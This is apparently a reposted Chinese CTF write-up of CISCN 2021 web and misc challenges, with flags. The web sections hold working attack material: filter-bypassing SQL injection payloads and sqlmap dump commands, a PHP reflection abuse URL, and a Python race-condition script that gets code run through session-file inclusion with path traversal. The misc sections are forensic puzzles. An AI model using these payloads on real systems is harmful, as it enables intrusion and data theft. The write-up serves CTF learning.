场景实操开场卷
WEB
easy_sql


有sql报错

简单fuzz了一下发现过滤了union、information、column、inno等关键字。
无表名,无列名注入。但是sqlmap还可以跑爆破表和部分字段



字段只能爆破出一个id
接下来想办法得到列名
uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e),1,1)#

出了一个no字段
uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id,no))c),0x7e),1,1)#

得到了edac52a9-7ada-424e-b833-a55e46dff8ba字段名
接着sqlmap直接查数据
python2 sqlmap.py -r .\test.txt -D 'security' -T 'flag' -C 'id,no,edac52a9-7ada-424e-b833-a55e46dff8ba' --dump

CISCN{f0NVx-gLqq2-NYh9Q-E72mo-X20CZ-}
easy_source

结合提示,flag应该在php代码的注释中

SourceLeakHacker扫描发现/.index.php.swo文件

访问拿到源码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
动态拼接类、方法、参数,尝试使用PHP标准类
参考了2019CISCN的题目:https://museljh.github.io/2019/04/24/ctf中的php反射/

ReflectionMethod类继承了这一方法

然后挨个尝试了User类的所有方法,发现当rb=q时回显注释中的flag
/index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

CISCN{OMvIz-OUpOw-4YSrc-lUKjv-28Gqo-}
MISC
tiny traffic

tiny_traffic.pcapng主要是TCP流量为主,那就导出HTTP对象

导出HTTP对象的时候发现有gzip文件和br文件

flag_wrapper.gz解压后得到一个flag_wrapper,可直接查看


没啥用,接着看两个br文件


secret.br解压得到secret,还是看不懂

test.br解压得到test,可直接使用文本编辑器打开,得到如下
syntax = "proto3";
message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}
message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}
根据关键字proto3搜索引擎找一找即可得知如下

网上很多protobuf序列化与反序列化的相关资料可查阅,不细赘述。
secret作为字节流文件,猜测即为protobuf的序列化之后的数据。那么接下来就使用Python来做反序列化。
Protoc3环境:https://github.com/protocolbuffers/protobuf/releases

下载解压后进入到bin目录,将之前解压出来的test改为test.proto并移动到bin目录
.\protoc.exe --python_out=. test.proto
得到test_pb2.py的模块文件
接着我们利用这个模块进行反序列化
先得安装protobuf模块
pip3 install protobuf
接着把解压后的secret也移动到bin目录
# test.py
import test_pb2
with open('./secret','rb') as f:
data = f.read()
target = test_pb2.PBResponse()
target.ParseFromString(data)
print(target)
PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> ls
Directory: C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 2021/5/16 1:57 __pycache__
-a--- 2021/5/13 8:25 3781120 protoc.exe
-a--- 2021/5/15 18:15 57 secret
-a--- 2021/5/16 1:54 7682 test_pb2.py
-a--- 2021/5/15 16:04 361 test.proto
-a--- 2021/5/15 18:37 163 test.py
PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> python .\test.py
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin>
接着根据反序列化得到的内容拼接flag即可

CISCN{
e66a22e23457889b0fb1146d172a38dc}
running_pixel

running_pixel.gif是一张动图

使用ffmpeg直接把每一帧分帧成图片
.\ffmpeg.exe -i .\running_pixel.gif ./img/%d.png
得到总共382张图片,仔细观察这些图片,发现其中有部分图片,总会含有这个RGB: 233,233,233的像素块

猜测将这些含有像素RGB: 233,233,233的像素块提取出来,绘制成flag,将中途绘制的每一张图片保存出来
from PIL import Image
flag_img = Image.new('1',(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(1,383):
framepic = Image.open(str(name)+'.png')
framepic = framepic.convert("RGB")
width,height = framepic.size
for w in range(width):
for h in range(height):
if framepic.getpixel((w,h)) == (233,233,233):
flag_img.putpixel((h,w),1)#原本用(w,h)发现是反的
flag_img.save('./flag/'+str(name)+'.png')

从第一张看到最后一张,即使flag的字符顺序
382.png如下

flag顺序为:12504D0F-9DE1-4B00-87A5-A5FDD0986A00
转换成小写即为正确的flag
CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}
场景实操二阶卷
WEB
middle_source

<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];
if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?> your flag is in some file in /etc

扫出隐藏文件http://123.60.221.85:23275/.listing

cf=../../../var/www/html/you_can_seeeeeeee_me.php

有disable_functions

伪协议试了一些没有效果,存在包含点,得想办法getshell,联想到PHP_SESSION_UPLOAD_PROGRESS包含Session文件

默认配置也都是开着的,session.save_path也在phpinfo中可以查看

session.save_path /var/lib/php/sessions/dadcjaafjf
构造poc即可


# -*- coding: utf-8 -*-
import io
import requests
import threading
myurl = 'http://123.60.221.85:23275/index.php'
sessid = 'mochu7'
myfile = io.BytesIO(b'mochu7' * 1024)
writedata = {
"PHP_SESSION_UPLOAD_PROGRESS": "<?php print_r(scandir('/'));?>"}
getshelldata = {
'cf': '../../../../var/lib/php/sessions/dadcjaafjf/sess_'+sessid}
mycookie = {
'PHPSESSID': sessid}
def writeshell(session):
while True:
resp = session.post(url=myurl, data=writedata, files={
'file': ('mochu7.txt', myfile)}, cookies=mycookie)
def getshell(session):
while True:
resp = session.post(url=myurl, data=getshelldata)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass
if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)
最后发现flag在/etc/cfdgcjaedb/eehdebhdfg/debbeabiec/caghechgag/deffeaecfc/fl444444g

CISCN{LTcIA-c7UTV-e2SDM-KzngL-JODkM-}
MISC
隔空传话


一开始尝试hex解码,无果,后面通过搜索引擎查找部分特征字符发现是PDU编码
PDU在线站:http://www.sendsms.cn/pdu/
把第一行放进去解码看一下

前面几行的一些信息
hello,bob!what is the flag?
the first part of the flag is the first 8 digits of your phone number
那其他部分呢
看看你能从这些数据里发现什么?w465
提示第一部分flag为接收者电话的前八位:15030442
后面接下来0491开头的每一行都是长度160的十六进制数据

每一行解码出来的时间戳不一样,猜测这里应该是按照时间戳顺序排列
这题先到这里,之后再看看有没有什么好办法。
场景实操冲刺卷
MISC
robot

RobotStudio机器人绘制,直接看cap.pcapng流量包
发现只有三个tcp流,其中第一流内容很大,且后面两个流比较小并没什么线索。分析第一个流发现了很多以下数据

将整个流的内容复制到data.txt
一开始惯性以为是图片的RGB数据,后来看了下发现第三位都是0,只有前两位,那么应该是坐标数据,直接点黑白。而且后来一想,RobotStudio机器人这东西估计也画不出颜色。

这些坐标数据最大不超过400,直接简单利用Python来点黑白即可
from PIL import Image
import re
reg = re.compile(r'Value\.\[(\d+),(\d+),(\d+)\]')
with open('data.txt','r') as f:
data = reg.findall(f.read())
# print(data)
# print(len(data))
img = Image.new('1', (400, 400))
for i in data:
xy = (int(i[0]), int(i[1]))
img.putpixel(xy, 1)
img.save("md5flag.png")

>>> from hashlib import md5
>>> md5('easy_robo_xx'.encode()).hexdigest()
'd4f1fb80bc11ffd722861367747c0f10'
CISCN{d4f1fb80bc11ffd722861367747c0f10}
转载:https://blog.csdn.net/mochu7777777/article/details/116855242